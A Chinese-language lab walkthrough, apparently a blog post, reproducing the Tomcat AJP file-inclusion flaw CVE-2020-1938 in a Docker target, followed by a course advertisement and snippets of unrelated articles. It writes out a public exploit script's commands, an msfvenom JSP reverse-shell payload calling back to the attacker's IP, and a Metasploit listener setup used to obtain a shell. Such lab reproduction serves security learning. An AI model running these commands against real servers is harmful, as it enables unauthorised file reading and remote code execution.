news 2026/5/23 18:35:06

【网络安全】Tomcat CVE-2020-1938 漏洞复现和利用过程_漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【网络安全】Tomcat CVE-2020-1938 漏洞复现和利用过程_漏洞复现
一,漏洞描述
1-1 漏洞原理

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

1-2 受影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31

二,靶场搭建

靶场:kali2023 192.168.1.160

攻击机器:kali2023 192.168.31.150

2- 1 拉去靶场镜像
docker pull duonghuuphuc/tomcat-8.5.32

2-2 启动镜像
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

2-3 访问

访问 192.168.31.160:8080 看到此页面说明靶场搭建成功了

三,漏洞复现

首先需要下载漏洞利用工具 ,网址如下(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/

下载下来放到攻击机上(我的主机 kali2023 192.168.31.150)

名字很长,我改名了,叫CVE-2020-1938

cd 进入到文件里,可以看一下文件内容

接下来利用Tomcat-Root路径下文件读取(CVE-2020-1938)来读取服务器问价内容

注意把最后的红色IP地址换成你自己的靶场IP

python2 ‘Tomcat-ROOT路径下文件读取(CVE-2020-1938).py’ -p 8009 -f /WEB-INF/web.xml 192.168.31.160

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.31.160

结果能成功读取到文件了,证明这里存在文件包含漏洞。

四,漏洞利用

我们如何getshell呢?

想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程

4-1 生成发现木马文件

注:真实环境中,在攻击器上生成木马,通过漏洞上传过去的

我在这里直接靶机 192.168.31.160上生成,复制到服务器目录中

kali上如下命令生成java木马文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.150 LPORT=8888 -f raw > aini_shell.txt

4-2 复制文件到服务器

先 docker ps 查看容器CONTAINER ID

然后进行复制

docker cp aini_shell.txt 525a39f3a85e:/usr/local/tomcat/webapps/ROOT/WEB-INF/

没有报错说明上传成功了

4-3 访问上传的木马文件

回到攻击器上

通过之前下载的POC访问一下,发现成功读取到了内容

但是我们目的是getshell,需要让反向shell执行才行

4-4 msf开启监听

先进入到msfconsole

msfconsole

use exploit/multi/handler set payload java/jsp_shell_reverse_tcp set lhost 192.168.31.150 ## 攻击器IP set lport 4444 ## 攻击器需要监听的端口(跟生成反向shell时设置的端口一样)

注:我监听8888端口一直失败,所以我换了个4444端口,并重新生成了连接192.168.31.150:4444端口的木马文件,复制到了靶场服务器上

开启监听成功

4-5 访问反向木马文件

最后一步:攻击主机访问木马文件,并编译执行,反向连接我们攻击主机

python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/aini_shell.txt 192.168.31.160

注意:这俩文件作用不一样,'Tomcat-ROOT路径下文件包含…'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接我们电脑

而Tomcat-ROOT路径下文件读取…'单纯的读取文件内容,而不会编译执行

说明服务器上上传的反向木马编译执行了

看看监听的窗口有没有拿到shell

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/22 16:36:39

ADAS软件开发

ADAS&#xff08;Advanced Driver Assistance Systems&#xff0c;高级驾驶辅助系统&#xff09;软件开发是一个融合了计算机视觉、传感器融合、控制算法、嵌入式系统和人工智能等多领域技术的复杂工程。以下是ADAS软件开发的关键组成部分、开发流程和技术栈概览&#xff1a;一…

作者头像 李华
网站建设 2026/5/22 17:49:01

混元翻译模型1.5版:格式化翻译功能详解

混元翻译模型1.5版&#xff1a;格式化翻译功能详解 1. 技术背景与核心价值 随着全球化进程的加速&#xff0c;跨语言沟通需求日益增长&#xff0c;高质量、低延迟的翻译服务成为多语言应用的核心基础设施。传统翻译模型在处理复杂文本结构时往往破坏原始格式&#xff0c;导致…

作者头像 李华
网站建设 2026/5/21 3:54:23

OpenCode版本升级:新特性迁移指南

OpenCode版本升级&#xff1a;新特性迁移指南 1. 引言 1.1 技术背景与升级动因 OpenCode 自 2024 年开源以来&#xff0c;凭借其“终端优先、多模型支持、隐私安全”的设计理念&#xff0c;迅速在开发者社区中获得广泛认可。项目以 Go 语言构建&#xff0c;采用客户端/服务器…

作者头像 李华
网站建设 2026/5/9 19:37:23

LessMSI(MSI安装包查看和提取工具)

LessMSI是开源、轻量级的工具&#xff0c;基于.NET构建&#xff0c;集图形界面和命令行接口于一体。它主要用于查看、提取、解析和管理MSI文件的内容&#xff0c;无需安装原始应用程序&#xff0c;为开发人员、系统管理员以及IT专业人员在软件部署和管理过程中提供了极大的便利…

作者头像 李华
网站建设 2026/5/21 15:36:30

软件测试入门必知必会的7个测试工具

一、功能测试&#xff1a;Selenium 为什么必学&#xff1f; 行业标准&#xff1a;Web自动化测试的事实标准 生态丰富&#xff1a;支持多语言(Java/Python/C#)、多浏览器 就业刚需&#xff1a;90%的自动化测试岗位要求掌握 入门示例 from selenium import webdriver from …

作者头像 李华